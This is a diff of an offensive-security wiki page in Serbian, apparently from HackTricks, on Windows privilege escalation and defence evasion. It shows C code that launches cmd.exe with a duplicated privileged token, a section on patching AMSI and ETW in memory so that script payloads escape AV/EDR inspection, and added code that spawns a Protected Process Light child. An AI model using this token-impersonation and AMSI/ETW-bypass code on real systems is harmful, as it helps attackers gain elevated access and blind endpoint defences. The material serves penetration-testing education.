@ -102,7 +102,7 @@ DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPri
STARTUPINFOW si = { .cb = sizeof(si) }; STARTUPINFOW si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 }; PROCESS_INFORMATION pi = { 0 };
if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE, if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
L"C\\\Windows\\\System32\\\cmd.exe", NULL, CREATE_NEW_CONSOLE, L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi)) { NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess); CloseHandle(pi.hProcess);
CloseHandle(pi.hThread); CloseHandle(pi.hThread);
@ -114,7 +114,7 @@ if (dupToken) CloseHandle(dupToken);
return 0; return 0;
} }
``` ```
Za dublje objašnjenje kako to funkcioniše, pogledajte: Za detaljnije objašnjenje kako to funkcioniše, pogledajte:
{{#ref}} {{#ref}}
sedebug-+-seimpersonate-copy-token.md sedebug-+-seimpersonate-copy-token.md
@ -122,8 +122,8 @@ sedebug-+-seimpersonate-copy-token.md
--- ---
## AMSI i ETW zakrpa u memoriji (Izbegavanje odbrane) ## Patč AMSI i ETW u memoriji (Defence Evasion)
Većina modernih AV/EDR motora oslanja se na **AMSI** i **ETW** za inspekciju malicioznih ponašanja. Zakrivanje oba interfejsa rano unutar trenutnog procesa sprečava skeniranje skriptnih payload-a (npr. PowerShell, JScript). Većina modernih AV/EDR motora se oslanja na **AMSI** i **ETW** da bi ispitala zlonamerna ponašanja. Patčovanjem oba interfejsa rano unutar trenutnog procesa sprečava se skeniranje payloads zasnovanih na skriptama (npr. PowerShell, JScript).
```c ```c
// gcc -o patch_amsi.exe patch_amsi.c -lntdll // gcc -o patch_amsi.exe patch_amsi.c -lntdll
#define _CRT_SECURE_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS
@ -150,12 +150,56 @@ MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
return 0; return 0;
} }
``` ```
*Zaključak iznad je lokalni za proces; pokretanje novog PowerShell-a nakon što se to izvrši će se izvršiti bez AMSI/ETW inspekcije.* *Gore navedeni patch važi samo za tekući proces; pokretanje novog PowerShell-a nakon njegove primene će se izvršiti bez AMSI/ETW inspekcije.*
--- ---
## Reference ## Kreirajte podređeni proces kao Protected Process Light (PPL)
Zatražite PPL nivo zaštite za podređeni proces pri kreiranju koristeći `STARTUPINFOEX` + `PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL`. Ovo je dokumentovan API i uspeće samo ako je ciljni image potpisan za traženu signer class (Windows/WindowsLight/Antimalware/LSA/WinTcb).
```c
// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
#include <windows.h>
int wmain(void) {
STARTUPINFOEXW si = {0};
PROCESS_INFORMATION pi = {0};
si.StartupInfo.cb = sizeof(si);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
&lvl, sizeof(lvl), NULL, NULL);
if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
return 1;
}
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
```
Nivoi koji se najčešće koriste:
- `PROTECTION_LEVEL_WINDOWS_LIGHT` (2)
- `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` (3)
- `PROTECTION_LEVEL_LSA_LIGHT` (4)
Potvrdite rezultat pomoću Process Explorer/Process Hacker tako što ćete proveriti kolonu Protection.
---
## Izvori
* Ron Bowes “Fodhelper UAC Bypass Deep Dive” (2024) * Ron Bowes “Fodhelper UAC Bypass Deep Dive” (2024)
* SplinterCode “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023) * SplinterCode “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
* CreateProcessAsPPL minimal PPL process launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
* Microsoft Docs STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}